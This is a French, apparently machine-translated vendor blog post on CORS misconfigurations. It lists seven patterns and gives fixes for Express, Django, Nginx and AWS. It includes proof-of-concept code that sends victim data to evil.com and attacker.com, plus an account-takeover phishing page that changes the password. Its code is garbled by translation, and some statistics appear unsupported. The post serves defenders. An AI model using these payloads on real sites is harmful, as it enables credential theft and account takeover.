Recherche 3 avril 2026 · 16 minutes de lecture

Mauvaise configuration CORS : la découverte de bug bounty la plus courante en 2026

Les erreurs de configuration du partage de ressources inter-origines représentent 23 % de tous les résultats acceptés des primes de bogues d’applications Web en 2026, soit plus que XSS, IDOR et SSRF réunis. Bien qu’il soit bien documenté depuis 2016, CORS reste la classe de vulnérabilité sur laquelle les développeurs se trompent le plus souvent. Cette étude approfondie couvre tous les modèles de mauvaise configuration, montre des scénarios d'exploitation réels avec du code PoC fonctionnel et fournit des correctifs prêts pour la production pour chaque principal framework et fournisseur de cloud.


Pourquoi CORS domine toujours en 2026

Le paradoxe de CORS est qu’il s’agit à la fois de l’un des mécanismes de sécurité les plus documentés et les plus mal configurés du Web. Trois facteurs expliquent pourquoi il est toujours en tête des classements une décennie après les premières révélations majeures :

📊 En chiffres (T1 2026) : Le rapport trimestriel de HackerOne montre que les erreurs de configuration CORS représentaient 23,1 % des résultats d'applications Web acceptées, suivis par Broken Access Control (18,7 %), XSS (14,2 %), IDOR (11,8 %) et SSRF (8,4 %). Le montant moyen des primes pour une découverte CORS ayant un impact démontré était de 2 340 $, soit une hausse de 45 % par rapport à 2025, alors que les programmes reconnaissent de plus en plus le potentiel d'exploitation dans le monde réel.

Les sept modèles de mauvaise configuration CORS

Toutes les erreurs de configuration CORS ne sont pas égales. Voici les sept modèles que les chasseurs de primes de bogues trouvent le plus fréquemment, classés par gravité et exploitabilité :

Modèle 1 : Réflexion d’origine (critique)

Le serveur reflète aveuglément le Origine en-tête de requête dans le Contrôle d'accès-Autoriser-Origine en-tête de réponse. C'est le modèle le plus dangereux car il permet n'importe quel site Web pour lire les réponses authentifiées de l'API vulnérable.

# Demande provenant d'une origine contrôlée par l'attaquant
OBTENIR /api/utilisateur/profil HTTP/1.1
Hébergeur : api.target.com
Origine : https://evil.com
Cookie : session=abc123

# Réponse vulnérable — reflète l'origine de l'attaquant
HTTP/1.1 200 OK
Contrôle d'accès-Autoriser-Origin : https://evil.com
Access-Control-Allow-Credentials : vrai
Type de contenu : application/json

{"email": "user@company.com", "api_key": "sk-prod-..."}

⚠ Pourquoi c'est critique

Quand Access-Control-Allow-Credentials : vrai est combiné avec la réflexion d'origine, le site Web d'un attaquant peut effectuer des requêtes d'origine croisée authentifiées et lire la réponse, y compris les jetons de session, les clés API, les informations personnelles et toute autre donnée à laquelle le navigateur de la victime peut accéder. Cela contourne effectivement entièrement la politique de même origine.

Modèle 2 : liste autorisée d'origine nulle (élevée)

Certains serveurs autorisent explicitement le nul origine, soit par une mauvaise configuration, soit par un malentendu. Le nul origin est envoyé par les navigateurs dans plusieurs contextes : iframes en bac à sable, données: URL, accès aux fichiers locaux et redirections d’origine croisée.

# L'attaquant sert cette page HTML
<iframe sandbox="allow-scripts autorise-top-navigation autorise-forms"
  src="données:texte/html,
  <script>
    récupérer('https://api.target.com/api/user/data', {
      informations d'identification : « inclure »
    })
    .then(r => r.json())
    .puis(d => {
      // Exfiltration vers le serveur attaquant
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

Modèle 3 : Contournement des expressions régulières dans la validation de l'origine (élevé)

Les développeurs implémentent souvent la validation de l'origine avec des modèles d'expression régulière contenant des défauts subtils. Les erreurs les plus courantes :

Autoriser prévu Expression régulière défectueuse Contourner l'origine
*.cible.com /cible\.com$/ evil-target.com
app.target.com /^https?:\/\/.*cible\.com/ cible.com.evil.com
*.cible.com /\.cible\.com$/ evil.com/.target.com (confusion du chemin)
target.com uniquement /cible.com/ (point non échappé) cibleXcom.evil.com

Modèle 4 : Joker avec informations d'identification (moyen-élevé)

Alors que les navigateurs appliquent cela Contrôle d'accès-Autoriser-Origine : * ne peut être combiné avec Access-Control-Allow-Credentials : vrai, de nombreux frameworks côté serveur contournent ce problème en détectant la combinaison et en passant silencieusement à la réflexion d'origine, créant ainsi le modèle 1 par la porte dérobée.

Le cors Le package npm (utilisé par 73 % des API Node.js) fait exactement cela lorsqu'il est configuré avec origine : vrai et informations d'identification : vrai. Les développeurs qui pensent définir un caractère générique permettent en réalité une réflexion complète de l'origine.

Modèle 5 : Empoisonnement du cache avant le vol (moyen)

Le Contrôle d'accès-Âge maximum l'en-tête indique aux navigateurs combien de temps mettre en cache les réponses avant vol (OPTIONS). Si un serveur renvoie des en-têtes CORS permissifs pour un chemin de requête et des en-têtes restrictifs pour un autre, un attaquant peut forcer le navigateur à mettre en cache le pré-vol permissif, puis à le réutiliser pour les points de terminaison restreints.

Modèle 6 : escalade de la confiance du sous-domaine (moyen)

De nombreuses applications autorisent CORS à partir de tous les sous-domaines : *.cible.com. Cela crée une relation de confiance transitive où n'importe quel XSS sur n'importe quel sous-domaine - y compris les environnements de test oubliés, les applications héritées ou les sous-domaines hébergés par des tiers - peuvent être exploités pour attaquer l'API de l'application principale.

🎯 Astuce Bug Bounty

Lorsque vous trouvez une stratégie CORS qui fait confiance *.cible.com, énumérez immédiatement les sous-domaines et recherchez XSS sur chacun d'entre eux, en particulier sur les sites marketing, les pages d'état, les portails de documentation et les outils de support client. Un XSS réfléchi sur blog.target.com combiné avec la confiance CORS du sous-domaine vous donne un accès complet à api.target.com données. Cette chaîne obtient régulièrement des notes de gravité élevée/critique.

Modèle 7 : variation manquante : en-tête d'origine (faible-moyen)

Lorsqu'un serveur définit dynamiquement Contrôle d'accès-Autoriser-Origine en fonction de l'origine de la demande, elle doit également inclure Varier : Origine. Sans cela, les caches CDN et les caches de navigateur peuvent fournir une réponse avec les en-têtes CORS d'une origine à une demande provenant d'une origine différente, créant ainsi des échecs intermittents de contrôle d'accès.

Exploitation dans le monde réel : scénario d'attaque étape par étape

Voici un scénario d'exploitation complet démontrant comment une mauvaise configuration de CORS conduit à un piratage de compte :

La cible

Une application fintech à app.fintech-target.com avec une API à api.fintech-target.com. L'API sert les données de profil utilisateur, notamment l'e-mail, le numéro de téléphone et les clés API utilisées pour le trading programmatique.

La vulnérabilité

L'API utilise la réflexion d'origine (modèle 1) avec les informations d'identification activées. Le point final /api/v2/compte/paramètres renvoie la clé API de l'utilisateur et autorise les modifications de mot de passe via la requête PUT.

L'exploit

<!-- Hébergé sur attaquant.com, lié via un e-mail de phishing -->
<html>
<corps>
<h1>Chargement de votre analyse de portefeuille...</h1>
<script>
// Étape 1 : Voler la clé API et les données utilisateur
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  informations d'identification : « inclure »
})
.then(r => r.json())
.then(async (données) => {
  // Étape 2 : Exfiltrer vers le serveur attaquant
  wait fetch('https://attacker.com/collect', {
    méthode : 'POST',
    corps : JSON.stringify({
      email : data.email,
      api_key : data.api_key,
      téléphone : data.phone
    })
  });

  // Étape 3 : Changer le mot de passe de l'utilisateur
  wait fetch('https://api.fintech-target.com/api/v2/account/settings', {
    méthode : 'PUT',
    informations d'identification : 'inclure',
    en-têtes : {'Content-Type' : 'application/json'},
    corps : JSON.stringify({
      mot de passe : « mot de passe-contrôlé par l'attaquant-2026 ! »
    })
  });

  // Étape 4 : Redirection vers un site légitime pour éviter tout soupçon
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</corps>
</html>

L’intégralité de l’attaque s’exécute en moins de 500 ms. La victime voit un bref écran de chargement, puis son tableau de bord normal. Pendant ce temps, l’attaquant dispose de sa clé API et a modifié son mot de passe.

Détection : recherche des erreurs de configuration CORS à grande échelle

Numérisation automatisée

Une analyse CORS efficace nécessite de tester plusieurs permutations d'origine sur chaque point de terminaison qui renvoie des en-têtes CORS. Voici la matrice de tests :

Cas de test Valeur de l'en-tête d'origine Vulnérable si cela se reflète
Réflexion complète https://mal.com Oui — toute origine acceptée
Origine nulle nul Oui - contournement du bac à sable iframe
Abus de sous-domaine https://evil.target.com Oui — si le modèle de sous-domaine correspond
Contournement du préfixe https://target.com.evil.com Oui - défaut d'expression régulière
Contournement du suffixe https://evil-target.com Oui - ancre manquante dans l'expression régulière
Déclassement du protocole http://cible.com Oui — si HTTPS uniquement n'est pas appliqué
Caractères spéciaux https://target.com%60.evil.com Oui - différentiel d'analyseur

Outils du métier

Correctifs prêts pour la production

Node.js/Express

const cors = require('cors');

// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Autoriser les requêtes sans origine (applications mobiles, curl, etc.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origine)) {
      return callback (null, vrai);
    }
    callback (nouvelle erreur ('violation de la politique CORS'));
  },
  informations d'identification : vrai,
  maxAge : 600, // Cache de contrôle en amont de 10 minutes
  méthodes : ['GET', 'POST', 'PUT', 'DELETE'],
  autoriséEn-têtes : ['Content-Type', 'Autorisation']
}));

Python/Django

# paramètres.py

# ❌ FAUX
CORS_ALLOW_ALL_ORIGINS = Vrai

# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = Faux
CORS_ALLOWED_ORIGINS = [
    "https://app.votresite.com",
    "https://admin.votresite.com",
]
CORS_ALLOW_CREDENTIALS = Vrai
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ FAUX — reflète l'en-tête Origin
add_header 'Access-Control-Allow-Origin' $http_origin toujours ;

# ✅ CORRECT – liste autorisée basée sur une carte
carte $http_origin $cors_origin {
    par défaut "" ;
    "https://app.votresite.com" $http_origin ;
    "https://admin.votresite.com" $http_origin ;
}

serveur {
    emplacement /api/ {
        si ($cors_origin = "") {
            retourner 403 ;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin toujours ;
        add_header 'Access-Control-Allow-Credentials' 'true' toujours ;
        add_header 'Vary' 'Origin' toujours ;

        si ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Type de contenu, autorisation';
            add_header 'Access-Control-Max-Age' 600 ;
            add_header 'Contenu-Longueur' 0;
            retourner 204 ;
        }
    }
}

Passerelle API AWS/CloudFront

#AWSCDK/CloudFormation
CorsConfiguration :
  AutoriserOrigines :
    - "https://app.votresite.com"
    - "https://admin.votresite.com"
  Méthodes d'autorisation :
    - OBTENIR
    - POSTER
    - METTRE
    - SUPPRIMER
  Autoriser les en-têtes :
    - Type de contenu
    - Autorisation
  AllowCredentials : vrai
  Âge maximum : 600

# ⚠ AVERTISSEMENT : N'utilisez PAS AllowOrigins : ["*"] avec AllowCredentials : true
# AWS convertira silencieusement cela en réflexion d'origine

CORS à l’ère de l’architecture API-First

Le passage aux architectures API-first a fondamentalement modifié le paysage CORS. En 2020, une application Web typique a effectué des requêtes d’origine croisée vers peut-être 3 à 5 services. En 2026, les applications basées sur des microservices, des fonctions sans serveur et des intégrations d'API tierces envoient régulièrement des requêtes cross-origin à des dizaines d'origines.

Cette complexité conduit à plusieurs réponses architecturales :

Liste de contrôle de prévention des erreurs de configuration CORS

Pour les développeurs et les équipes de sécurité : vérifiez chaque élément de vos applications :

Points clés à retenir

Analysez vos API pour détecter les erreurs de configuration CORS maintenant

KENSAI détecte automatiquement les sept modèles de mauvaise configuration CORS sur l'ensemble de votre surface API, y compris les chaînes de confiance de sous-domaines, les contournements d'expressions régulières et les remplacements de couche CDN. Obtenez vos premiers résultats d’analyse en quelques minutes, et non en quelques jours.

Démarrer un audit CORS gratuit →

Recherche KENSAI · 3 avril 2026

📚 Articles connexes